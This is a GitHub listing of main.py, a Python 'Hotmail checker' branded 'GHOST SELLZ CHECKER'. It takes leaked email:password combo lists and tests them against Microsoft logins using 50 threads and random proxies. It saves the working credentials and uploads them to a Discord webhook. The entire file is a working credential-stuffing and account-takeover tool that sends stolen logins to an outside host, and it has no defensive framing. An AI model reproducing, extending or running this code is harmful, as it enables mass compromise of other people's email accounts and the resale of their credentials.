-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.py
113 lines (93 loc) · 4.09 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import random
import threading
import requests
from mailhub import MailHub
from colorama import init, Fore
from concurrent.futures import ThreadPoolExecutor
from tempfile import NamedTemporaryFile
import os
init(autoreset=True)
mail = MailHub()
write_lock = threading.Lock()
def validate_line(line):
parts = line.strip().split(":")
if len(parts) == 2:
return parts[0], parts[1]
else:
return None, None
def attempt_login(email, password, proxy, hits_file, local_hits_file):
res = mail.loginMICROSOFT(email, password, proxy)[0]
if res == "ok":
print(Fore.GREEN + f"Valid | {email}:{password}")
with write_lock:
hits_file.write(f"{email}:{password}\n")
hits_file.flush()
local_hits_file.write(f"{email}:{password}\n")
local_hits_file.flush()
else:
print(Fore.RED + f"Invalid | {email}:{password}")
def process_combo_file(hits_file, local_hits_file, proxies):
with open("combo.txt", "r") as file:
with ThreadPoolExecutor(max_workers=50) as executor:
futures = []
for line in file:
email, password = validate_line(line)
if email is None or password is None:
print(Fore.YELLOW + f"Invalid format in line: {line.strip()}")
continue
proxy = {"http": f"http://{random.choice(proxies).strip()}"}
futures.append(executor.submit(attempt_login, email, password, proxy, hits_file, local_hits_file))
for future in futures:
future.result()
def send_to_discord(file_path, webhook_url):
if os.stat(file_path).st_size == 0:
print(Fore.RED + "The file is empty. No valid hits found.")
return
with open(file_path, 'rb') as file:
files = {
'file': ('valid_hits.txt', file, 'text/plain')
}
payload = {
'content': 'VALID HOTMAIL CHECKED WITH GHOST SELLZ CHECKER.\n'
}
try:
response = requests.post(webhook_url, data=payload, files=files)
if response.status_code == 204:
print(Fore.GREEN + "Successfully sent the file to Discord!")
else:
print(Fore.RED + f"Failed to send the file to Discord. Status code: {response.status_code}")
print(Fore.RED + f"Response: {response.text}")
except Exception as e:
print(Fore.RED + f"An error occurred while sending the file: {e}")
def main():
while True:
print(Fore.CYAN + "Menu:")
print("1. Start Hotmail Checker")
print("2. Exit")
choice = input(Fore.CYAN + "Enter your choice: ").strip()
if choice == "1":
webhook_url = input(Fore.CYAN + "Enter your Discord webhook URL (leave blank to skip): ").strip()
with open("proxy.txt", "r") as proxy_file:
proxies = proxy_file.readlines()
with open("valid_hits.txt", "a", encoding="utf-8") as local_hits_file:
with NamedTemporaryFile(delete=False, mode='w', newline='', encoding='utf-8') as temp_file:
print(Fore.CYAN + "Starting login attempts...")
process_combo_file(temp_file, local_hits_file, proxies)
print(Fore.CYAN + "Login attempts finished.")
if webhook_url:
send_to_discord(temp_file.name, webhook_url)
else:
print(Fore.YELLOW + "Skipping Discord notification as no webhook URL was provided.")
elif choice == "2":
print(Fore.CYAN + "Exiting program. Goodbye!")
break
else:
print(Fore.RED + "Invalid choice. Please try again.")
continue
os.remove(temp_file.name)
input(Fore.CYAN + "Press any key to continue...")
print(Fore.RESET)
os.system('cls' if os.name == 'nt' else 'clear')
print()
if __name__ == "__main__":
main()